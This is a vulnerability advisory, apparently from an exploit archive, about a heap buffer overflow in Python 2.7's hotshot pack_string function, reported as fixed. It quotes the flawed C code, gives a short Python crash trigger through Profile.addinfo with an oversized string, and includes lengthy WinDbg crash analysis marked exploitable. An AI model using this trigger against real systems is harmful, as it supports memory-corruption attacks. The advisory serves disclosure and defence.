1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 |
Title: Python 2.7 hotshot pack_string Heap Buffer Overflow Credit: John Leitch (john@autosectools.com) Url1: http://autosectools.com/Page/Python-hotshot-pack_string-Heap-Buffer-Overflow Url2: http://bugs.python.org/issue24481 Resolution: Fixed The Python 2.7 hotspot module suffer from a heap buffer overflow due to a memcpy in the pack_string function at line 633: static int pack_string(ProfilerObject *self, const char *s, Py_ssize_t len) { if (len + PISIZE + self->index >= BUFFERSIZE) { if (flush_data(self) < 0) return -1; } assert(len < INT_MAX); if (pack_packed_int(self, (int)len) < 0) return -1; memcpy(self->buffer + self->index, s, len); self->index += len; return 0; } The problem arises because const char *s is variable length, while ProfilerObject.buffer is fixed-length: typedef struct { PyObject_HEAD PyObject *filemap; PyObject *logfilename; Py_ssize_t index; unsigned char buffer[BUFFERSIZE]; FILE *logfp; int lineevents; int linetimings; int frametimings; /* size_t filled; */ int active; int next_fileno; hs_time prev_timeofday; } ProfilerObject; An overflow can be triggered by passing a large string to the Profile.addinfo method via the value parameter: from hotshot.stats import * x = hotshot.Profile("A", "A") x.addinfo("A", "A" * 0xfceb) Which produces the following exception: 0:000> r eax=00000041 ebx=0000fceb ecx=00003532 edx=00000002 esi=075dcb35 edi=075d9000 eip=6c29af1c esp=0027fc78 ebp=0027fc80 iopl=0 nv up ei pl nz na po nc cs=0023ss=002bds=002bes=002bfs=0053gs=002b efl=00010202 MSVCR90!LeadUpVec+0x70: 6c29af1c f3a5rep movs dword ptr es:[edi],dword ptr [esi] 0:000> db edi-0x10 075d8ff041 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA 075d9000?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?????????????????? 075d9010?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?????????????????? 075d9020?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?????????????????? 075d9030?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?????????????????? 075d9040?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?????????????????? 075d9050?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?????????????????? 075d9060?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?????????????????? 0:000> db esi 075dcb3541 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA 075dcb4541 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA 075dcb5541 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA 075dcb6541 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA 075dcb7541 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA 075dcb8541 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA 075dcb9541 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA 075dcba541 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA 0:000> !heap -p -a edi address 075d9000 found in _DPH_HEAP_ROOT @ 6ca1000 in busy allocation (DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 722809c:75d67c8 2838 -75d6000 4000 6c3194ec verifier!AVrfDebugPageHeapAllocate+0x0000023c 77a257b7 ntdll!RtlDebugAllocateHeap+0x0000003c 779c77ce ntdll!RtlpAllocateHeap+0x0004665a 77981134 ntdll!RtlAllocateHeap+0x0000014d 6c2c3db8 MSVCR90!malloc+0x00000079 [f:\dd\vctools\crt_bld\self_x86\crt\src\malloc.c @ 163] 1e0ae6d1 python27!PyObject_Malloc+0x00000161 [c:\build27\cpython\objects\obmalloc.c @ 968] 0:000> !heap -p -a esi address 075dcb35 found in _DPH_HEAP_ROOT @ 6ca1000 in busy allocation (DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 7228068:75da300 fd00 -75da00011000 6c3194ec verifier!AVrfDebugPageHeapAllocate+0x0000023c 77a257b7 ntdll!RtlDebugAllocateHeap+0x0000003c 779c77ce ntdll!RtlpAllocateHeap+0x0004665a 77981134 ntdll!RtlAllocateHeap+0x0000014d 6c2c3db8 MSVCR90!malloc+0x00000079 [f:\dd\vctools\crt_bld\self_x86\crt\src\malloc.c @ 163] 1e0ae6d1 python27!PyObject_Malloc+0x00000161 [c:\build27\cpython\objects\obmalloc.c @ 968] 0:000> k4 ChildEBP RetAddr 0027fc80 1e008380 MSVCR90!LeadUpVec+0x70 [f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm @ 289] 0027fc90 1e008407 python27!pack_string+0x40 [c:\build27\cpython\modules\_hotshot.c @ 634] 0027fca8 1e0089bb python27!pack_add_info+0x77 [c:\build27\cpython\modules\_hotshot.c @ 652] 0027fcc0 1e0aafd7 python27!profiler_addinfo+0x5b [c:\build27\cpython\modules\_hotshot.c @ 1020] 0:000> .frame 1 01 0027fc90 1e008407 python27!pack_string+0x40 [c:\build27\cpython\modules\_hotshot.c @ 634] 0:000> dV self = 0x075dcb35 s = 0x075da314 "AAAAAAAAAAAAAAAAAAA[...]AA..." len = 0n123572224 0:000> dt self Local var @ esi Type ProfilerObject* +0x000 ob_refcnt: 0n1094795585 +0x004 ob_type: 0x41414141 _typeobject +0x008 filemap: 0x41414141 _object +0x00c logfilename: 0x41414141 _object +0x010 index: 0n1094795585 +0x014 buffer : [10240]"AAAAAAAAAAAAAAAAAAA[...]AA..." +0x2814 logfp: 0x41414141 _iobuf +0x2818 lineevents : 0n1094795585 +0x281c linetimings: 0n1094795585 +0x2820 frametimings : 0n1094795585 +0x2824 active : 0n1094795585 +0x2828 next_fileno: 0n1094795585 +0x2830 prev_timeofday : 0n4702111234474983745 0:000> !analyze -v -nodb ******************************************************************************* * * *Exception Analysis * * * ******************************************************************************* FAULTING_IP: MSVCR90!LeadUpVec+70 [f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm @ 289] 6c29af1c f3a5rep movs dword ptr es:[edi],dword ptr [esi] EXCEPTION_RECORD:ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 6c29af1c (MSVCR90!LeadUpVec+0x00000070) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 075d9000 Attempt to write to address 075d9000 CONTEXT:00000000 -- (.cxr 0x0;r) eax=00000041 ebx=0000fceb ecx=00003532 edx=00000002 esi=075dcb35 edi=075d9000 eip=6c29af1c esp=0027fc78 ebp=0027fc80 iopl=0 nv up ei pl nz na po nc cs=0023ss=002bds=002bes=002bfs=0053gs=002b efl=00010202 MSVCR90!LeadUpVec+0x70: 6c29af1c f3a5rep movs dword ptr es:[edi],dword ptr [esi] FAULTING_THREAD:000013b0 PROCESS_NAME:pythonw.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s. EXCEPTION_PARAMETER1:00000001 EXCEPTION_PARAMETER2:075d9000 WRITE_ADDRESS:075d9000 FOLLOWUP_IP: MSVCR90!LeadUpVec+70 [f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm @ 289] 6c29af1c f3a5rep movs dword ptr es:[edi],dword ptr [esi] NTGLOBALFLAG:2000000 APPLICATION_VERIFIER_FLAGS:0 APP:pythonw.exe ANALYSIS_VERSION: 6.3.9600.17029 (debuggers(dbg).140219-1702) x86fre BUGCHECK_STR:APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_NXCODE PRIMARY_PROBLEM_CLASS:STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_NXCODE DEFAULT_BUCKET_ID:STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_NXCODE LAST_CONTROL_TRANSFER:from 1e008380 to 6c29af1c STACK_TEXT: 0027fc80 1e008380 075d67df 075da314 0000fceb MSVCR90!LeadUpVec+0x70 0027fc90 1e008407 075da314 1e008960 00000000 python27!pack_string+0x40 0027fca8 1e0089bb 072e67b4 075da314 0769e788 python27!pack_add_info+0x77 0027fcc0 1e0aafd7 075d67c8 071aabc0 0769e788 python27!profiler_addinfo+0x5b 0027fcd8 1e0edd10 0769e788 071aabc0 00000000 python27!PyCFunction_Call+0x47 0027fd04 1e0f017a 0027fd5c 06d57b18 06d57b18 python27!call_function+0x2b0 0027fd74 1e0f1150 071a9870 00000000 06d57b18 python27!PyEval_EvalFrameEx+0x239a 0027fda8 1e0f11b2 06d57b18 071a9870 06d5ba50 python27!PyEval_EvalCodeEx+0x690 0027fdd4 1e11707a 06d57b18 06d5ba50 06d5ba50 python27!PyEval_EvalCode+0x22 0027fdec 1e1181c5 0722e260 06d5ba50 06d5ba50 python27!run_mod+0x2a 0027fe0c 1e118760 6c2f7408 06d17fac 00000101 python27!PyRun_FileExFlags+0x75 0027fe4c 1e1190d9 6c2f7408 06d17fac 00000001 python27!PyRun_SimpleFileExFlags+0x190 0027fe68 1e038d35 6c2f7408 06d17fac 00000001 python27!PyRun_AnyFileExFlags+0x59 0027fee4 1d001017 00000002 06d17f88 1d0011b6 python27!Py_Main+0x965 0027fef0 1d0011b6 1d000000 00000000 04d3ffa8 pythonw!WinMain+0x17 0027ff80 76477c04 7ffde000 76477be0 63080f16 pythonw!__tmainCRTStartup+0x140 0027ff94 7799ad1f 7ffde000 62fa2f53 00000000 KERNEL32!BaseThreadInitThunk+0x24 0027ffdc 7799acea ffffffff 77980228 00000000 ntdll!__RtlUserThreadStart+0x2f 0027ffec 00000000 1d001395 7ffde000 00000000 ntdll!_RtlUserThreadStart+0x1b STACK_COMMAND:.cxr 0x0 ; kb FAULTING_SOURCE_LINE:f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm FAULTING_SOURCE_FILE:f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm FAULTING_SOURCE_LINE_NUMBER:289 FAULTING_SOURCE_CODE: No source found for 'f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm' SYMBOL_STACK_INDEX:0 SYMBOL_NAME:msvcr90!LeadUpVec+70 FOLLOWUP_NAME:MachineOwner MODULE_NAME: MSVCR90 IMAGE_NAME:MSVCR90.dll DEBUG_FLR_IMAGE_TIMESTAMP:51ea24a5 FAILURE_BUCKET_ID:STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_NXCODE_c0000005_MSVCR90.dll!LeadUpVec BUCKET_ID:APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_NXCODE_msvcr90!LeadUpVec+70 ANALYSIS_SOURCE:UM FAILURE_ID_HASH_STRING:um:string_dereference_exploitable_fill_pattern_nxcode_c0000005_msvcr90.dll!leadupvec FAILURE_ID_HASH:{006f2a1a-db5d-7798-544b-da0c2e0bcf19} Followup: MachineOwner --------- To fix the issue, pack_string should confirm that the fixed-length buffer is of sufficient size prior to performing the memcpy. |